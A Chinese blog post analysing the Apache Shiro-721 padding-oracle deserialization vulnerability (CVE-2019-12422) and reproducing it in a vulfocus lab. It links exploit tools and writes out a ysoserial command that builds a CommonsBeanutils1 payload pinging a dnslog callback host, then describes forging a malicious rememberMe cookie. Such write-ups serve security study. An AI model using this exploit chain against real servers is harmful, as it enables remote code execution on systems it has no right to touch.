Shiro-721—漏洞分析(CVE-2019-12422)

本文基于shiro550漏洞基础上分析,建议先看上期内容:
https://blog.csdn.net/weixin_60521036/article/details/142373353

Padding Oracle Attack 原理

网上看了很多,感觉写的对我们这种对密码学不敏感的人来说非常不友好,毕竟不是所有术语都能看懂,所以我总结了一下Padding Oracle Attack 的攻击原理。

PKCS5填充

padding有很多种方式,shiro使用了PKCS5的填充方式:
如下图所示(找规律能找出来么?):


意思就是:
约定 :*表示任意数据,每个数据块为8字节。
当你数据为 ** ** ** ** ** ** ** ,7字节差一字节成一块,那么为了保持数据一块一块的,就需要填充一个数据,该数据根据PKCS5规则,因为差一个字节,所以填充01。
上图中接着填充 02 02 的意思就是他有6字节数据 ** ** ** ** ** ** ,还差俩字节,所以用02 02来填充,02数值是告诉你差多少字节,而填充的字节个数和数值是一样的。(是不是有点摸着门道了?)
解释到这规律应该能看出来了,不用再过多理解。

ps:补充,当你刚好8字节满了的时候,就给你另外开一个数据块填充:(如下所示)

** ** ** ** ** ** ** ** 08 08 08 08 08 08 08 08

怎么爆破攻击

首先我们需要知道怎么判断我们padding数据正确:
在验证 Padding 失败时的返回信息应该不同,其中 PKCS5Padding#unpad 方法对数据的填充格式进行判断,有问题会返回 -1;
当返回值小于0时,调用onRememberedPrincipalFailure 移除 rememberMe cookie并添加 deleteMe

其实这里只需要知道若攻击失败了就会返回deleteMe即可。。。​

这个padding攻击涉及的东西好多,本人实在是无法解释清楚,比如参考文章中有写:前一块密文是后一块密文的IV,通过异或中间值,得到明文,这个也是一个重要信息,但是本篇文章主要解释漏洞的发生最主要的原因,就不去深究更多的加解密的攻击。

漏洞原理

原理其实很简单,shiro解决了密钥硬编码问题后,使用了AES-CBC加密方式,也就是说其他加解密过程没有变,但是漏洞的原因是因为加密能够被Padding Oracle Attack ,也就是说我们不用找到密钥就能够直接修改rememberMe字段,而这里需要注意的细节就是:
需要通过已知 RememberMe 密文 使用 Padding Oracle Attack 一点点爆破来达到篡改和构造恶意的反序列化密文来触发反序列化漏洞。
这也说明了为啥一定要有合法通过认证的cookie才能进行攻击,因为你要走到让他padding的那一步需要合法的身份认证

不知各位道友搞懂了没,总之我的看法就是:
因为加密算法可被攻击的原因导致可爆破解密后篡改数据就这么简单的理解即可。

源码分析

偷个懒直接看我之前的文章shiro550 的源码分析即可
https://blog.csdn.net/weixin_60521036/article/details/142373353
721主要的解密过程没有变,只要你成功padding进去了,就能走到反序列化那一步,个人感觉不用理解那么透彻,本身这个漏洞也挺鸡肋,需要登陆成功的身份认证cookie才能攻击。
看下面的调用栈就知道和shiro550是一样的了,就是加解密那块改了。

漏洞复现

使用vulfocus靶场复现


话不多说,直接上最快捷的道具,后面再讲解另外一种抓包方式的攻击
下面这个工具在shiro550也能用,雀氏挺牛13的:
https://github.com/SummerSec/ShiroAttack2

接着直接爆破利用链即可

直接就能执行命令了


接着下面介绍如何通过已知cookie,生成payload,手动修改cookie进行攻击。

登录记得勾选Remember Me


抓包放包,如果你密码正确,那么就会返回一个rememberMe字段的cookie,接着就是使用该cookie进行padding攻击了。

  • 首先使用Java反序列化工具 ysoserial 生成 Payload:
    java -jar ysoserial.jar CommonsBeanutils1 "ping 9ck71c.dnslog.cn" > payload.class

  • 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
    https://github.com/inspiringz/Shiro-721 # 暴破AES密钥的脚本

    注意: 此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

    使用你刚刚用cookie生成的payload.class

  • 漫长等待后,拿到pad数据后直接丢到cookie上面


    接着看你自己的dnslog日志即可查看是否攻击成功了 。


参考文章:
https://xz.aliyun.com/t/11633
https://www.anquanke.com/post/id/193165